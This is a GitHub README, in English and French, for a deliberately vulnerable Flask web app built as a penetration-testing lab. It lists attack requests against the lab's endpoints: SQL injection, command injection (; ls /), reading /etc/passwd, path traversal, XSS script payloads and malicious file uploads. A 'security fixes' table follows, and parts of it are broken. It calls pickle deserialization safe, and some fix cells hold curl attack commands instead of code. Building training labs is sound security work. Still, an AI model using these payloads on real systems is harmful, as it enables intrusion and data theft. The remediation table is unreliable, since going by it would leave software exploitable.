Skip to content

Latest commit

 

History

History
150 lines (99 loc) · 13.6 KB

README.md

File metadata and controls

150 lines (99 loc) · 13.6 KB
Raw

Vulnerable-Flask-App

Erlik 2 - Vulnerable-Flask-App

Tested - Kali 2022.1

Description

It is a vulnerable Flask Web App. It is a lab environment created for people who want to improve themselves in the field of web penetration testing.

Features

It contains the following vulnerabilities.

-HTML Injection

-XSS

-SSTI

-SQL Injection

-Information Disclosure

-Command Injection

-Brute Force

-Deserialization

-Broken Authentication

-DOS

-File Upload

Installation

git clone https://github.com/anil-yelken/Vulnerable-Flask-App

cd Vulnerable-Flask-App

sudo pip3 install -r requirements.txt

Usage

python3 vulnerable-flask-app.py

REST API à tester

un script Python qui définit une application Flask. Cette application semble avoir plusieurs routes, chacune gérant différentes fonctionnalités liées à une API REST. Voici un bref aperçu de certaines des routes :

/ : Renvoie "REST API" lorsqu'il est accédé.

/user/string:name : Récupère les informations utilisateur d'une base de données SQLite en fonction du nom d'utilisateur fourni.

/welcome/string:name : Renvoie un message de bienvenue avec le nom fourni.

/welcome2/string:name : Renvoie un message de bienvenue avec le nom fourni, mais sans utiliser jsonify.

/hello : Démontre une injection de modèle côté serveur (SSTI) en rendant un modèle avec le nom fourni.

/get_users : Exécute une commande shell pour effectuer une recherche DNS (dig) en fonction du nom d'hôte fourni.

/get_log/ : Lit le contenu du fichier restapi.log.

/read_file : Lit le contenu d'un fichier spécifié.

/deserialization/ : Démontre un exemple simple de désérialisation en utilisant le module pickle de Python.

/get_admin_mail/string:control : Renvoie l'adresse e-mail de l'administrateur si le paramètre de contrôle est défini sur "admin".

/run_file : Exécute une commande shell en fonction du nom de fichier fourni.

/create_file : Crée un fichier avec le nom de fichier et le contenu spécifiés.

/factorial/int:n : Calcule le factoriel d'un nombre. Met en œuvre un mécanisme de limitation du taux basique.

/login : Simule un mécanisme de connexion simple.

/route : Démontre la définition dynamique du type de contenu de la réponse.

/logs : Enregistre des données dans le fichier restapi.log.

/user_pass_control : Vérifie si le mot de passe inclut le nom d'utilisateur.

/upload : Gère les téléchargements de fichiers.

Vulnérabilité Type d'Attaque Exemple de Requête Malveillante Commentaire
Injection SQL dans /user/<string:name> SQL Injection curl http://adresse_ip:8081/user/' OR 1=1; -- Exploite une injection SQL pour contourner l'authentification.
Server-Side Template Injection (SSTI) SSTI curl http://adresse_ip:8081/hello?name={{7*7}} Exploite la vulnérabilité SSTI pour évaluer une expression Python côté serveur.
Command Injection dans /get_users Command Injection curl http://adresse_ip:8081/get_users?hostname=; ls / Exploite une injection de commande pour exécuter la commande ls / sur le serveur.
Lecture de Fichier dans /read_file Lire des Fichiers curl http://adresse_ip:8081/read_file?filename=/etc/passwd Exploite une vulnérabilité de lecture de fichier pour lire le fichier /etc/passwd.
Deserialization dans /deserialization/ Deserialization curl http://adresse_ip:8081/deserialization/ -d 'pickled_data_here' Exploite une vulnérabilité de désérialisation en envoyant des données sérialisées malveillantes.
Injection de Commande dans /run_file Command Injection curl http://adresse_ip:8081/run_file?filename=file_to_run.sh Exploite une injection de commande pour exécuter un fichier arbitraire sur le serveur.
Création de Fichier dans /create_file Création de Fichier curl http://adresse_ip:8081/create_file?filename=malicious_file.txt&text=malicious_content Exploite la création de fichier pour écrire un fichier malveillant sur le serveur.
Lire des Logs dans /get_log/ Lire des Fichiers curl http://adresse_ip:8081/get_log/ Exploite la vulnérabilité de lecture de fichier pour lire le fichier de logs.
Obtention d'email d'admin dans /get_admin_mail/<string:control> Bypass de Contrôle curl http://adresse_ip:8081/get_admin_mail/admin Exploite le contournement du contrôle pour obtenir l'email de l'admin.
Limite de Requête dans /factorial/<int:n> Attaque par Déni de Service curl http://adresse_ip:8081/factorial/1000000 Exploite la limitation de requête pour effectuer une attaque par déni de service.
Injection de Formulaire dans /login Injection de Formulaire curl -X GET "http://adresse_ip:8081/login?username=malicious&password=' OR '1'='1" Exploite une injection dans le formulaire de login.
Upload de Fichier Malveillant dans /upload Téléchargement de Fichier Malveillant curl -X POST -F "file=@malicious_file.php" http://adresse_ip:8081/upload Exploite une mauvaise validation de fichiers pour télécharger un fichier malveillant.
Traversée de Répertoire dans /read_file Traversée de Répertoire curl http://adresse_ip:8081/read_file?filename=../../etc/passwd Exploite une vulnérabilité de traversée de répertoire pour lire le fichier /etc/passwd.
Énumération d'Utilisateurs dans /get_users Énumération d'Utilisateurs curl http://adresse_ip:8081/get_users?hostname=google.com; ls /home Exploite une vulnérabilité pour récupérer des informations sensibles sur les utilisateurs.
Énumération de Fichiers dans /get_log/ Énumération de Fichiers curl http://adresse_ip:8081/get_log/../../../etc/ Exploite une vulnérabilité pour récupérer des informations sensibles sur le système.
Modification de Logs dans /logs Modification de Logs curl http://adresse_ip:8081/logs?data=malicious_log_entry Exploite une vulnérabilité pour injecter des entrées malveillantes dans les logs.
Attaque par Force Brute dans /login Attaque par Force Brute curl -X GET "http://adresse_ip:8081/login?username=admin&password=bruteforce123" Exploite la faiblesse d'un mécanisme de login en tentant différentes combinaisons.
Interception de Session dans /login Interception de Session curl -X GET "http://adresse_ip:8081/login?username=admin&password=malicious&cookie=attacker_cookie" Exploite une vulnérabilité pour intercepter la session utilisateur.
Spoofing d'Adresse IP dans /factorial/<int:n> Spoofing d'Adresse IP curl --header "X-Forwarded-For: attacker_ip" http://adresse_ip:8081/factorial/5 Exploite une vulnérabilité pour simuler une adresse IP falsifiée.
Contournement d'Authentification dans /get_admin_mail/<string:control> Contournement d'Authentification curl http://adresse_ip:8081/get_admin_mail/protected Exploite une faiblesse dans le contrôle d'authentification pour accéder à des données protégées.
HTML Injection dans /welcome2/<string:name> HTML Injection curl http://adresse_ip:8081/welcome2?name=<script>alert('XSS');</script> Exploite une injection HTML pour exécuter du code JavaScript côté client.
XSS dans /hello Cross-Site Scripting (XSS) curl http://adresse_ip:8081/hello?name=<script>alert('XSS');</script> Exploite une vulnérabilité XSS pour exécuter du code JavaScript côté client.
Information Disclosure dans /get_users Divulgation d'Informations curl http://adresse_ip:8081/get_users?hostname=nonexistent_user Exploite une vulnérabilité qui divulgue des informations sensibles sur le système.
Brute Force dans /login Brute Force curl -X GET "http://adresse_ip:8081/login?username=admin&password=bruteforce123" Exploite la faiblesse d'un mécanisme de login en tentant différentes combinaisons.
DOS dans /factorial/<int:n> Attaque par Déni de Service curl http://adresse_ip:8081/factorial/1000000 Exploite la limitation de requête pour effectuer une attaque par déni de service.
Upload de Fichier dans /upload Téléchargement de Fichier Malveillant curl -X POST -F "file=@malicious_file.php" http://adresse_ip:8081/upload Exploite une mauvaise validation de fichiers pour télécharger un fichier malveillant.

Corrections de Sécurité dans le Code

Voir le code dans: best-flask-appSafe.py

Le tableau suivant résume les corrections apportées au code pour atténuer les vulnérabilités de sécurité, les attaques associées, et les commentaires et recommandations correspondants.

Attaque / Vulnérabilité URL/Endpoint Code Avant Correction Code Après Correction Commentaires et Recommandations
Injection SQL /user/<string:name> cur.execute("select * from test where username = '%s'" % name) cur.execute("select * from test where username = ?", (name,)) Utilise des requêtes paramétrées pour prévenir l'injection SQL.
SSTI /hello render_template_string(template) render_template_string(escape(template)) Échappe les données avant de les rendre pour éviter SSTI.
XSS /hello return render_template_string(template) return render_template_string(escape(template)) Échappe les données pour prévenir l'injection de script.
Command Injection /get_users subprocess.check_output(command, shell=True) subprocess.check_output(command) Utilise une liste d'arguments pour prévenir l'injection de commande.
Traversée de Répertoire /read_file file = open(filename, "r") filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file = open(filepath, "r")		 Vérifie le chemin du fichier pour prévenir la traversée de répertoire.
Brute Force /login if "anil" in username and "cyber" in passwd: Utilise un mécanisme de verrouillage pour éviter les attaques par force brute.
Téléchargement Malveillant /upload file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) Vérifie le type de fichier pour éviter les téléchargements malveillants.
HTML Injection /welcome2 data = "Welcome " + name data = "Welcome " + escape(name) Échappe les données pour prévenir l'injection HTML.
Deserialization Malveillante /deserialization/ data = pickle.loads(received_data) Utilise la désérialisation sécurisée avec pickle.
Spoofing d'Adresse IP /factorial/<int:n> curl --header "X-Forwarded-For: attacker_ip" http://adresse_ip:8081/factorial/5 Utilise des moyens appropriés pour détecter l'adresse IP réelle.
Contournement d'Authentification /get_admin_mail/<string:control> if control=="admin": Utilise un mécanisme d'authentification sécurisé plutôt qu'une simple comparaison.
Limite de Requête /factorial/<int:n> if connection[request.remote_addr] > 2: Utilise un mécanisme de verrouillage pour éviter les attaques par déni de service.
Énumération d'Utilisateurs /get_users curl http://adresse_ip:8081/get_users?hostname=google.com; ls /home Vérifie si l'utilisateur a le droit de récupérer ces informations.
Énumération de Fichiers /get_log/ curl http://adresse_ip:8081/get_log/../../../etc/ Vérifie si l'utilisateur a le droit de récupérer ces informations.
Modification de Logs /logs curl http://adresse_ip:8081/logs?data=malicious_log_entry Valide et filtre les données avant de les insérer dans les logs.
Interception de Session /login curl -X GET "http://adresse_ip:8081/login?username=admin&password=malicious&cookie=attacker_cookie" Assurez-vous que les cookies de session sont sécurisés et ne peuvent pas être interceptés.
Information Disclosure /get_users curl http://adresse_ip:8081/get_users?hostname=nonexistent_user Gérez les erreurs de manière appropriée plutôt que de divulguer des informations sensibles.
DOS (Attaque par Déni de Service) /factorial/<int:n> curl http://adresse_ip:8081/factorial/1000000 Limitez les opérations intensives en ressources pour éviter le déni de service.
Injection de Formulaire /login curl -X GET "http://adresse_ip:8081/login?username=malicious&password=' OR '1'='1" Validez et échappez les données du formulaire avant de les utiliser.
Énumération de Fichiers /get_log/ curl http://adresse_ip:8081/get_log/../../../etc/ Gérez les accès aux fichiers de manière stricte et contrôlée.
Énumération d'Utilisateurs /get_users curl http://adresse_ip:8081/get_users?hostname=google.com; ls /home Gérez les accès aux informations d'utilisateur de manière stricte.